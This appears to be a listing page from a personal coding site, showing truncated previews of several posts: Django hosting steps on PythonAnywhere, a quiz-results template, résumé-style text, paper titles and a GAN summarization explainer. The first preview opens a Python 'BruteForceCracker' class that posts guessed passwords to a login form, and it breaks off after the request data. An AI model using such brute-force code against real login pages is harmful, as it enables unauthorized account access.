Solo Coder

  import socket import random import time import threading import tkinter as tk from tkinter import ttk import requests import sys import asyncio import concurrent.futures # Global variable to track the cancel flag cancel_flag = False class BruteForceCracker: def __init__ ( self , url, username, error_message, update_status): self .url = url self .username = username self .error_message = error_message self .update_status = update_status banner = """ Checking the Server !! [+]█████████████████████████████████████████████████[+] """ for run in banner: sys.stdout.write(run) sys.stdout.flush() time.sleep( 0.02 ) def crack ( self , password): data_dict = { "LogInID" : self .username, "Password" : password, "Log In" : "submit" } re...

Hosting Django project on pythonanywhere.com 1. Go to pythonanywhere.com and sign in. 2. authenticate your accounts using an email link (you will not be able to start projects unless you do this). 3. Navigate to the "web" tab in your PythonAnywhere account.  4. Create a new webapp.  5. Select "Django" as your framework. 6. Select the latest Python interpreter. 7. Set your project a name (it must be the same as your local host project). 8. Your Django project will be created by default. (Of course, this is not your project!) 9. Navigate to the project file tab and click the upload button to upload your project (zip file size 100MB). 10. Now, from the menu, open a console bash terminal and input > unzip YourProject.zip 11. open the given link and your project will be running on “yourprojectname.pythonanywhere.com” Notes: 1. Go to the web tab and press the reload button (you must reload every time you make significant changes or if you are using a low-end machine). ...

  <h1> Response Dump </h1> {% if evaluation_dict %} <h2> Evaluation Results: </h2> <ul> {% for response_id, is_correct in evaluation_dict.items %} <li> Response ID: {{ response_id }} - Correct: {{ is_correct }} </li> {% endfor %} </ul> {% endif %} {% if response_dict %} <h2> Response Details: </h2> <ul> {% for question_id, selected_option in response_dict.items %} <li> Question ID: {{ question_id }} - Selected Option: {{ selected_option }} </li> {% endfor %} </ul> {% endif %} {% if questions %} <h2> Questions: </h2> <ul> {% for question in questions %} <li> Question: {{ question.question }} </li> <li> Correct Answer: {{ question.answer }} </li> <hr> {% endfor %} </ul> {% endif %}

I am skilled in modern technologies like artificial intelligence and machine learning. I created a generative AI system for NIELIT Ropar. I learned a lot about AI and machine learning. In fact, I wrote papers on this technology. Developing software with these modern technologies can reduce your company's reliance on human labour. I can contribute to the implementation of futuristic technology on which Facebook and Apple are currently working. We can help this company generate innovative projects in the future.

I worked on a project based on artificial intelligence and machine learning. that analyzed the supply-demand relationship between companies and customers in the online market, focusing on customer sentiment data to determine key factors influencing customer satisfaction, factors pushing a customer to buy and trust customer. project also analyses the companies promises made to the customer on product. This software can be very helpful in preventing customer from online scams and misleading product promises, also can give insights about the customer interests on product. these information can be used to developed efficient and accurate product for the customer with minimum loss. Participated in Amazon ML Challenge 2023, in April. developed machine learning model for Amazon products. the model was for assigning optimal box for the product based on its size configurations. Automated model was developed. It had some flaws but I learned lot of machine learning concepts like model tuning, mak...

Multivariate Generative Adversarial Networks and Their Loss Functions for Synthesis of Multichannel ECGs Correction of Banding Errors in Satellite Images With Generative Adversarial Networks GAN Visualizing and Understanding Neural Models in NLP GENERATIVE AI AT WORK  31161 T5LSTM-RNN based Text Summarization Model for Behavioral Biology Literature Transformers: State-of-the-Art Natural Language Processing When and how to paraphrase for named entity recognition? Summarization Attack via Paraphrasing (Student Abstract)

Generative Adversarial Networks (GANs) can potentially be used in abstractive text summarization, although their application in this context is less common compared to other models like transformer-based seq2seq models. Abstractive text summarization involves generating a concise summary that may not be a verbatim extraction from the source text. GANs can be used in this task in the following ways: 1. Generator Network: In the context of text summarization, the generator network of a GAN can be designed to generate abstractive summaries. It takes in the source text as input and produces the summary as output. The generator network can be implemented using recurrent neural networks (RNNs), transformers, or other sequence-to-sequence models. 2. Discriminator Network: The discriminator network, which is a critical component of GANs, can be used to evaluate the quality and authenticity of the generated summaries. It assesses how well the generated summaries capture the essence of the sourc...